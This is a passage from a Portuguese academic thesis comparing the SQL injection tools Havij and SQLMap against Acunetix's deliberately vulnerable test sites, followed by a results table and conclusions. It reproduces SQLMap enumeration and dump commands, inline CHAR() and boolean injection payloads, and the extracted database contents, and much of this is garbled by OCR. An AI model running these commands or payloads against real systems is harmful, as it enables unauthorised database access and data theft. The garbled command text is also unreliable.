Get DBs Get Tables

d

Load Sawve

=
Cmd Shell

S,

i
Query Find Admin MD5 Settings

2

Save Tables

2

Get C;:vl.umns Get Data Sawve Data

=1-[] acuforum
- forurns

-] name
-1 55Ma_TimeStamp

i [] threads
- [] master
-] tempdb

- [] model

- [] mzdb

- [] acublog

- [] acuservice

descr

id name

Uze Group_Concat [FMepSGL Only)

® Statuz I'm IDLE

Allin one request.

[ Forzce to use it Clear list on get

Clear Log

cCount =]

ot

=7 [forums] is 3
Data Found: [descr],[id],[name]=
Data Found: [descr],[id],[name]=
Data Found: [descr],[id].,[nhame]l=

-

Fonte: Elaborada pelo autor.

Realizando o mesmo ataque com a ferramenta SQLMap, os resultados foram

um pouco diferentes. No primeiro

momento ao efetuar o ataque visando encontrar os

bancos de dados, a ferramenta fez as mesmas trés perguntas que ja feitas

anteriormente em outros ataques, e encontrou os mesmos 7 BDs, além do tipo de

sistema de gerenciamento, Microsoft SQL Server 2005, como é ilustrado nas Figuras

54 e 55.




Figura 54 — SQLMap segundo site, vulnerabilidade 2.

ChWindows\system32\cmd.exe

C:srzglmap.py —u httptrsstestasp.vulnueb.cons/showforum.asp?id= ——dhs
£ H

F)

!"  http:-ssqlmap.oryg

[*] legal dizsclaimer: Uszage of sglmap for attacking targets without prior mutual
consent is illegal. It is the end user’s responsibility to obhey all applicahble
local, state and federal laws. Developers assume no liability and are not respon

=ible for any misuse or damage caused by this program

[#] starting at BA:57:39

sglmap got a 302 redirect to 'http:rsrstestasp.vulnuweb.com:B8B-Default.azp’. Do vou
want to follow? [Y¥Y/nl vy

it looks like the back-end DBME iz ‘['Microsoft 5QL Server’, *‘Sybasze’]1’. Do vou
want to skip test payloads specific for other DBMSes? [Y/nl u

for the remaining tests, do you want to include all tests for *[*Microsoft SQL §
erver’, ‘Sybase’l’ extending provided level €1> and risk (1% values? [¥Y~nl n

GET parameter *'id' is vulnerable. Do vou want to keep testing the others (if any
27 [ysM]1l n
cglmap identified the following injection point<s> with a total of 64 HITP{(s)> re
quests:
Parameter: id (GET>

Type: inline guery

Title: Microsoft S5QL Server~Sybhasze inline gueries

Payload: id=(SELECT CHARC113>+CHARC1686>+CHARC122>+CHARC1A7>+CHARC113>»+(SELEC
T (CASE WHEN (7673=7673> THEN CHARC4%9>» ELSE CHARC48> END>>+CHARC113>»+CHARC128>+C
HARC187>+CHARCL22>+CHARC113 %>

weh server operating system: Windows 2883 or HP
webh application technologuy: ASP.HET. Microsoft IIS 6.8
hack—end DBMS: Microsoft S5QL Server 2805

Fonte: Elaborada pelo autor.




63

Flgura 55 SQLMap segundo site, vulnerabllldade 2, bancos de dados.
ack-end DBMS: Microsoft SQL ‘Server 2085

available databases [71:
acublog
acuforum
acuservice
master
mode 1
msdhb
tempdh

shutting down at B@:57:87

Fonte: Elaborada pelo autor.

Ao continuar com a bateria de ataques, e explorando o BD forums igualmente
feito com o Havij, foram encontradas 4 tabelas, forums, posts, threads, e users. De
forma que com essa ferramenta, o diferencial foi a tabela users, que ndo foi

encontrada no recurso Havij, como pode ser visto na Figura 56.
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Figura 56 — SQLMap segundo site, vulnerabilidade 2, tabelas.

[ EEN CRWWINdOWES Sy stEMmaZ Cmd,. EXe =R
[#+]1 model

[#«]1 m=db

[#]1 tempdb

[#]1 shutting down at BA:=:59:807

C:srasglmap-py —u http:tAstestasp.vulnuwebh.comsshowforum.asp?id= —-D acuforum ——tahl

=k

{1.8—dev—nongit—201518873

http:/sglmap.org

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent iz illegal. It is the end user’'s responsibility to obey all applicable
local. state and federal laws. Developers assume no liability and are not respon

zible for any misuse or damage cawused by this program

[#] starting at B1:-81:B82

sglmap got a 382 redirect to "http:-rstestasp.vulnweb.com:8B-Defaunlt.asp’. Do vou
want to follow? [¥/nl v

sglmap resumed the following injection point<s>» from stored session:

Parameter: id {GET>
Type: inline guery
Microszoft 5QL Server~Sybasze inline gueries
id={SELECT CHAR<{113>+CHAR<{1B6>+CHAR{122>+CHAR{1A7>+CHARC113>+{8ELEC
CPeY3I=7673> THEN CHARC4?> ELSE CHARC48> ENMD>>+CHARC113>+CHARC1282+C

R{122>+CHARC1132>>

[A1:81:181 [INF0O1 the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2883 or HP

web application technology: ASP_HET,. Microsoft IIS 6.8
hack—end DBMS: Microszoft SQL Server 28HS

Database: acuforum
[4 table=s]

OFums

osts
hreads

[#*]1 shutting down at B1:-#1:14

R

Fonte: Elaborada pelo autor.

Na Figura 57 é ilustrado, um ataque com o objetivo de descobrir as colunas
da tabela forums. Neste sdo encontrados quatro, iguais as descobertas pelo Havij,

descr, id, name, SSMA_TimeStamp.



Figura 57 — SQLMap segundo site, vulnerabilidade 2, colunas.

http: rsglmap.org

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent iz illegal. It is the end user’s responsibhility to obey all applicahle
local, state and federal laws. Developers assume no liability and are not respon

zible for any mizuse or damage caused by this program

[#] starting at B1:83:88

sglmap got a IBZ2 redirect to 'http:/stestasp.vulnuweb.com:88-Defaunlt.asp’. Do you
want to follow? [Y¥Ysnl vy

sglmap resumed the following injection point<s? from stored session:
Parameter: id <GET>

Type: inline guery

Title: Microsoft SQL ServersSybase inline gqueries

Payload: id={SELECT CHAR<113>+CHARC186>+CHARC122>+CHARC187>+CHARC113 »+(SELEC
T <CASE WHEN <?673=7673> THEN CHAR<4?> ELSE CHAR<48> END>>+CHAR<{113>+CHAR{128>+C
HARC187>+CHARC122>+CHARC113>>

[@1:83:12]1 [INF0O]1 the bhack-end DBMS iz Microsoft S5QL Server
web server operating system: Windows 2803 or EP

web application technology: ASP.HET,. Microsoft IIS 6.8
hack—end DBME: Microsoft S5QL Server 2805

Database: acuforum
Table: forums
[4 columns]

Column Tupe

descr nvarchar
id int

name nuarchar
SEMA_TimeStamp timestamp

b omm e ==

[#]1 shutting down at 81:83:28

R

Fonte: Elaborada pelo autor.
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De modo a explorar as colunas encontradas em um novo ataque, é executado
um comando como pode ser visto na Figura 58 e 59, de modo que ao final dele
foram encontradas 3 linhas de dados, o que ndo aconteceu com a ferramenta Havij,

no qual ndo foram encontrados nenhuma informacao.

Figura 58 — SQLMap segundo site, vulnerabilidade 2, dados

EN C\Windows'\system32vcmd.exe ==
C-wreglmap-.py —u http:sstestasp.vulnweb.comsshowforum.asp?id= —D acuforum —T for
ums —C descr.id.name —dump

{1.8—dev—nongit—201516887>

http:Asglmap.org

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is illegal. It is the end user’'s responsibility to obey all applicable
local, state and federal laws. Developers assume no liabhility and are not vespon

=ihle for any mizuse or damage caused by this program

[#]1 starting at @1:05:86

sglmap got a 382 redirect to "httpi rtestasp.vulnweb.com:8@8-Defanlt.asp’. Do vou
want to follow? [¥.nl vy

zglmap resumed the following injection point<{s>» from stored session:
Parameter:= id C(GET>»

Type: inline gquery

Title: Microsoft S5QL ServerSyhase inline gueries

Payload: id=¢(SELECT CHAR<113>+CHAR<186>+CHARC122>+CHAR{1A?>»+CHAR{113>+(SELEC
T <CASE WHEN <(7673=7673> THEHN CHAR<49> ELSE CHAR<48> END>>»+CHARC{113>+CHARC128>+C
HARC1A7>+CHARC1 22> +CHARC113>>

[A1:85:1A1 [INF0O1 the back-end DBMS iz Microsoft S5QL Server
weh server operating system: Windows 2003 orx HP

webh application technology: ASP.NET,. HMicrosoft IIS 6.8
bhack—end DBMS: Microsoft SQL Server 2085

Databaze: acuforum
Tabhle: Forums
[3 entrie=s]

i Talk about Acunetix Weh Uulnerabhlity Scanner Acunetix Weh Uulnerabili
ty Scanner 1
i What weather iz in your town right now 1 Weather

1
Anything crossing vour mind can be posted here 2 Miscellaneous
1

-_— ]

Fonte: Elaborada pelo autor.
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Figura 59 — SQLMap segundo site, vulnerabilidade 2, dados 2

[#] shutting down at B1:85:15

R

Fonte: Elaborada pelo autor.

Para finalizar o processo, o0 Ultimo site escolhido foi atacado,
http://testaspnet.vulnweb.com/. Este igualmente os outros foi explorado em suas
duas wvulnerabilidades escolhidas aleatoriamente, /comments.aspx?id e
/login.aspx?tbUsername, no qual sdo respectivamente dos métodos GET e POST,

como pode ser visto na Figura 60.
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Figura 60 — Analise do scanner Acunetix referente ao terceiro site.

™| Acunetix Web Vulnerability Scanner 10.0 (Trial Edition) — O
File Actions Tools Configuration Help
Qi@ e P doB@e 82|88 R g

Tools Explorer Jill DE | & | ‘L*j | Report )3 Start URL: |http://testaspnet. vulnweb.com ~ | Profile: |Default | B start
IE‘ Web Vulnerability Scanner

o Scan Results Status i W CA y
EI% 'tl'm;eotlissmnner [ 5§ Scan Thread 1 (http:/ftestaspnet.vulnweb.... Finished A M acunetix WES APPLICATION SECURITY
@ Site Crawler = [l Web Alerts (32)
) Target Finder & @ Bind SQL Injecton (9) Blind SQL Injection HIGH
ﬂ Subdomain Scanner = |:| fComments.aspx (3)

_ andsouimector | [INNININIE SN | vuinerabilty description

@ thComment (1)
A&, HTTP Sniffer = D flogin.aspx (2) This scriptis possibly vulnerable to SQL Injection attacks.

% Authentication Tester 9 thUsemame (2) SOL injection is a vulnerability that allows an attacker to alter

...... 71 Compare Results [] /readhiews.aspx (4) back-end SOL statements by manipulating the user input An
=R W_eb Services @ Cross site scripting (verified) (3) SQL injection occurs when web applications accept user input
441 Web Services Scanner @ Cross site scripting [stored] (verified... that is directly placed into a SQL statement and doesn't properly

@ Microsoft I1S tilde directory enumera... fiter out dangerous characters

lc3]

i Web Services Editor

=& C?”ﬁgur.a‘m.” ) £ @ SQLinjection (verified) (3) This is one of the most common application layer attacks
""" 1%} Application Settings [E] /comments.aspx (3) currently being used on the Internet. Despite the fact that it is
""" Iju Scan 5_3“1'”95 |:| fogin.aspx (2) relatively easy to protect against, there is a large number of web
""" | Scanning Profiles [] Readnens.zspx (4) applications vulnerable.

=+ General
'a Program Updates
[0 Version Information

@ Unicode transformation issues (2) This vulnerability affects /[Comments.aspx.

() ASP.NET error message (1) Discovered by: Scripting (Blind_Sql_Injection.script).

_____ 5P Licensing @ Cross frame scripting (2) Attack details
@j Support Center &) Unencrypted _ VIEWSTATE parame...
@j Purchase &) User credentials are sentin dear te... URL encoded GET input id was setto 3 AND 3*2*1=6 AND 31=31

&) User Manual

----- # AcuSensor

@ ASP.MET debugging enabled (1)

@ ASP.MET version disclosure (1)

@ Clickjacking: X-Frame-Options heade. ..
@ Cookie without Secure flag set (1)

@ Login page password-guessing attac. ..
@ OPTIONS method is enabled (1)

@ Possible relative path overwrite (&)
@ Possible sensitive directories (2)

@ Error page web server version disdo. ..
@ GHDB: Frontpage extensions for Uni...
@ GHDB: 115 4.0 server (8)

@ GHDB: 115 server (8)

@ GHDB: Possible ASP.NET sensitive fil..
@ GHDB: robots. et file (1)

@ GHDB: robots. txt with Disallow tag (1)
@ GHDB: Typical login page (11)

Tests performed:
e 0+0+0+3 == TRUE
e 0+31*26+3 == FALSE
e 13-5-2-999 == FALSE
+ 13-5-2-3==TRUE
e 13-2*5+0+0+1-1 == TRUE
e 13-2*6+0+0+1-1 == FALSE
* 3 AND 2+1-1-1=1 AND 31=31 == TRUE
* 3 AND 3+1-1-1=1AND 31=31 == FALSE
e 3 AND 3*2=5 AND 31=31 == FALSE
* 3 AND 3*2=6 AND 31=31 == TRUE
e 3 AND 3*2*0=6 AND 31=31 == FALSE
e 3 AND 3*2%1=6 AND 31=31 == TRUE

Original value: 3

@EEEEEEHEHEEEHHEEEEEEEHH

@ Microsoft IIS version disclosure (1) ¥ ViewHTTP headers
@ Password type input with auto-comp. .. ¥ ViewHTML response
=] Knowledge Base (4) ® Launch the attack with HTTP Editor
List of file extensions v ® Retest alert(s) \
< > @ Mark this alert as a false positive
[Activity window 1

10.16 14:00.35, [Error] Scan "Scan Thread 1" was aborted by user.

Application Log  Error Log

Fonte: Elaborada pelo autor.

A vulnerabilidade /Comments.aspx?id foi a primeira a ser testada, com a
utilizacéo da ferramenta Havij.

No recurso foram colocadas as informacbes em seus devidos lugares, e
iniciado o ataque, de modo que ao chegar em seu término, o Havij informou que néo
foi possivel detectar o banco de dados, ndo fornecendo nenhuma informacéao

referente a tal, o que é ilustrado na Figura 61.
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Figura 61 — Havij terceiro site, vulnerabilidade 1.

F vy =B =)

Target: :http:,f,ftestaspnet.uuIr|web.com!CDmments.aspx?id | 1]
T 1 Analyze
[ Keywward: Auto Detect | [[] Syntax: Aute Detect ye
D atabasze: Auto Detect v] M ethod: [GI:_F v] Type: [Auto Detect v] H
Load S5awve
Fost Data:

ot = = = & A, #
About gl ables iead Files -md She Juery Find Admin MD5 Settings

Havij - Advanced SQL Injection Tool

Version 1.16 Pro

ITSECTEAM Copyright @ 2009-2012
By r3dmov3

http://ITSecTeam.com
http://forum.Itsecteam.com
info@itsecteam.com Check for update

Databases: Register

This copy of Hawij iz registered to:

13dmi 3

® Status: I'm IDLE Clear Log

E Bl FE AT e e B R -——r

Host IP: B7.230.29.167 &
web Serwver: Microsoft-IIS/ /6.0

Fowered-by: ASP.NET

Ccan not Tind keyword but lTet me do a try!

I guess injection type is Integer?! If injection failed, retry with a manual keyword.
Ccan't find db server type! BUL maybe there be some chances! [-o0<

Cannot find column count!

Testing for MySQL error based injection method

My

L error based '-injéct'i-on method cant be used!
Retrying to find current data base

m

M=SQL error based injection method cant be used!
M=SJL time based injection method can't be used
MywSJL time based injection method can't be used
Another try to Tind DE server type

Can not detect data base! Please choose a data base.

-4 F

Fonte: Elaborada pelo autor.

De forma que ao elaborar o mesmo ataque, com o intuito de descobrir o BDs,
com a ferramenta SQLMap, o resultado foi 0 mesmo, como pode ser visto na Figura
62, mas como anteriormente ela menciona a possibilidade de incrementar e
melhorar o comando executado com outras técnicas possibilitando talvez um ataque

bem sucedido posteriormente.
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Figura 62 — SQLMap terceiro site, vulnerabilidade 1.
BN C\Windowsh\system32\cmd.exe =1 = | i
C-~2>sglmap-py —u http:s. ~ testaspnet.-vulnuweb_comsComments _aspx?id= —dbs=s

>

_i
http: - sglmap.org

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is illegal. It is the end user’'s responsibility to obey all applicable
local. state and federal laws. Developers assume no liability and are not respon
=ible for any misuse or damage caused by this program

[=] starting at 15:802:=39

[15:84:351 [CRITICAL] all tested parameters appear to be not injectable. Try to
increase "—level’.s" —ri=zk' walues to perform more tests. Also. vou can try to p
erun by providing either a valid wvalue for option *—string’ <Cor *—regexp’' > IF
vou suspect that there iz some kind of protection mechanism involuved ¢e.g. WAF>»
mayhe you could »etry with an option *—tamper’ {e.g. '—tamper=spaceZcomment’>

[+*] shutting down at 15:84:35

Co >

Fonte: Elaborada pelo autor.

Por wvez foi explorado a dltima vulnerabilidade deste  site,
/login.apx?tbusername, do método POST. Como padréo foi iniciado o ataque no
programa Havij, que realizou certos testes, e por ultimo identicamente ao ataque
feito na vulnerabilidade anterior, a ferramenta ndo conseguiu identificar informacdes

sobre o banco de dados, como pode ser visto na Figura 63.
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Figura 63 — Havji terceiro site, vulnerabilidade 2.

#* Havij =n | e <

Target: http://ftestaspnet.vulnweb.com/flogin.aspx |- (1]
- 1 r - Analyze
] Keywward: (Auto Detect ] [ Syntax:  Auto Detect ¥
D atabaze: [Auto Detect v] tethod: POST = | Type: |Auto Detect - =]
Load Sawe
Faost D ata: tbUsername=2%Inject_Hers4|

- o == = = D &, A
About r ables tead Files -rmd Shel Jurery Find Admin MMD5 Settings

Havij - Advanced SQL Injection Tool

Version 1.16 Pro

ITSECTEAM <Copyright @ 2009-2012
By r2dmowvz3

http: //ITSecTeam.com
http: /forum.ltsecteam.com
info@itsecteam.com Check for update

Databases: Register

Thiz copy of Hawij is regiztered to:

r3drm3

Statusz: I'm IDLE Clear Log

Host IP: B87.220.29.167 -
welbr Serwver: Microsoft-IIS/ 6.0

Powered—byw: ASP.MNET

Can not Find keyword but Tet me do a try!

I guess dinjection type is Integer?! IT injection Tailed, retry with a manual keyword.
Can't find db serwver type! But mayvbe there be some chancefl [—O=

Cannot Tind column count!

Test1ng For MySQL error based 1HJECt1DH method

r15,_-.1 error hased 1r1_'|ect1 on -rethod cant be used

Retry'lng to F1 nd current data base

m

r1551L error hased 1r1_'|ect1 on -rethod cant he used!

M=sSgL time based injection method can't be used

MywSQL time based injection method can't be used

Aanother try to Ffind DE server type

Can not detect data base! Please choose a data base. -

Fl 2

Fonte: Elaborada pelo autor.

J& no ataque realizado com a ferramenta SQL, o resultado nédo foi diferente,
ao executar o comando, que possuia o objetivo de encontrar o BDs, o recurso
também fez uma quantidade significativa de testes mas nao obteve éxito em tais

tentativas, como ilustrado na Figura 64.
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Figura 64 — SQLMap terceiro site, vulnerabilidade 2.

Bl CAWindowshsystem32\cmd.exe = [ = [

Ciwrasglmap-py —u httprsstestaspnet.vulnweb.comslogin.aspx —data=""thlsername=a’""
——dhbs=

>

http-srsglmap.org

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual

conzent is illegal. It is the end user’s on=ibility to ohey all applicahbhle
local. state and federal laws. Developers a me no liability and are not respon
=ibhle for any misuse or damage caused by th program

[+*] starting at 15:-86:-52

[15:-88:87]1 [CRITICAL] considerable lagging has been detected in connection respo
lease use as high value for option "—time—sec’ as possible <e.g. 18 or

[15:-12:22]1 L[CRITICAL] all tested parameters appear to be not injectable. Try to

increase *'——level’'."—rizk’ values to perform more tests. Also,. youw can try to
by providing either a valid value for option *—string’

you suspect that there iz some kind of protection mechanism involved <e.g. WAF>

maybe you could retry with an option *—tamper’ Ce_.g. '—tamper=spaceZcomment”®>

[#]1 zshutting down at 15:12:22

(=R

Fonte: Elaborada pelo autor.

Assim ao fim deste ataque, foi encerrado as tentativas de invasao nestes 3
sites que foram escolhidos, nos quais foi possivel observar algumas diferencas entre

as duas ferramentas e seus ataques.
Para uma visualizacdo mais evidente sobre as informacgdes obtidas atraves

dos ataques, a Figura 65 ilustra uma tabela desenvolvida a partir dos dados

fornecidos pelas tentativas de invaséao.



Figura 65 — Tabela de Resultados.

Método
Vul 1 GET
SITE 1
Vul 2 POST
Vul 1 POST
SITE 2
Vul 2 GET
Vul 1 GET
SITE 3
Vul 2 POST

Fonte: Elaborada pelo autor.

Ferramenta

SQLMap
Havij
SQLMap

Havij

SQLMap

Havij
SQLMap
Havij
SQLMap

Havij

SQLMap

Havij

SGBD

MySQL
MySQL
MySQL
MySQL

Microsoft SQL

Server

BDs

N N N DN

Tabelas

0 0 o0 00

Colunas

0 0 0 0o

Dados

1 linha
1 linha
1 linha
1 linha

73

Tempo

74s
23s
94s
22s

211s
88s

125s

20s
116s
86s

330s
138s
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Na Figura 65, os nomes dos sites e das vulnerabilidades foram enumerados para
auxiliar na estrutura e entendimento da tabela, logo o site 1 corresponde ao
testphp.vulnweb.com, site 2 ao testasp.vulnweb.com e site 3 ao site
testaspnet.vulnweb.com. Ja as vul correspondem as vulnerabilidades de cada site,
no qual a vul 1 e 2 do site 1 séo referentes respectivamente ao product.php?pic e
infotitle.php?id, vul 1 e 2 do site 2, pertencem respectivamente a login.asp?tftUName
e a showforum.asp?id, e por utimo as vul 1 e 2 do site 3, condizem a
comments.aspx?id e login.aspx?tbUsername.

Ao analisar essa tabela, pode-se perceber facilmente que varios ataque foram
bem sucedidos, mas por outro lado uma grande parte deles também néo obtiveram
éxito. Considerando que o scanner Acunetix estad 100% correto em suas analises e
gue as vulnerabilidades escolhidas sdo realmente vulneraveis, por a empresa
Acunetix ser a desenvolvedora dos sites utilizados, € possivel afirmar que 50% dos
ataques efetuados tiveram éxito. Destes 50% de invasdes bem sucedidas 66.6%
foram em sistemas que utilizavam os métodos GET e 33.3% em métodos POST,
logo os ataques sem sucesso obtiveram uma porcentagem de 50% igualmente,
dentre os quais 33.3% foram do método GET e 66.6% do método POST. Diante
desses fatos, igualmente abordado na primeira parte deste trabalho por Kennedy
(2002), os dois métodos possuem suas falhas, mas quando a seguranca for visada,
é aconselhavel o método POST.

Pode-se concluir do mesmo modo que as ferramentas possuem algumas
diferencas. Primeiramente € possivel observar que a ferramenta Havij é
significativamente mais rapida que a ferramenta SQLMap, devido ao Havij ter sido
mais veloz em todos os ataques realizados. Em contrapartida, € possivel observar
algumas inconsisténcias desse software, de maneira que ao comparar as
informacdes obtidas com a ferramenta SQLMap, € encontrado algumas
divergéncias.

Nota-se que em grande parte dos ataqgues, as duas ferramentas obteram os
mesmos resultados, somente em um caso foi diferente, no site 2, vulnerabilidade 2.
Neste o SQLMap por sua vez encontrou mais tabelas, além de identificar o tipo de
sistema de gerenciamento de banco de dados e encontrar dados nas colunas das
tabelas, ja com o recurso Havij, ndo foi possivel encontrar nenhum dado contido nas

colunas das tabelas e muito menos o SGBD.
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De forma que todos os ataques realizados nos trés sites foram efetuados de
uma maneira simples, logo ndo estavam utilizando 100% da capacidade das
ferramentas, mas visivelmente o SQLMap por diversos momentos no proporcionou
opcOes de realizar buscas mais aprofundadas, além das quais ele pode realizar com

um nivel mais elevado de conhecimento em relacdo a ferramenta.
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6 CONSIDERACOES FINAIS

Com base no que foi apresentado, este trabalho manteve seu foco em
informar e alertar, desenvolvedores e demais interessados, exemplificando meios de
invasdo com utilizacdo da técnica SQL Injection. Diante disto, e a partir dos
resultados obtidos, foi possivel observar que existem diversos tipos de ferramentas
gue automatizam e auxiliam em um ataque, mesmo que possam ser incompletas,
falhas, intuitivas ou ndo. De maneira que além desses recursos, ainda € possivel,
com o conhecimento de alto nivel atacar sites de uma maneira muito provavelmente
superior as apresentadas, mostrando a todos, que a técnica baseada no SQL
Injection, que pode ser realizada de diversos modos, € apenas uma dentre tantas
outras tipos técnicas de ataques que existem que na internet.

Como recomendacdo para trabalhos futuros, sugere-se um estudo das
diversas técnicas baseadas no code injection, além de andlises comparativas

referente as outras ferramentas que existem para automatizar esse tipo de ataque.
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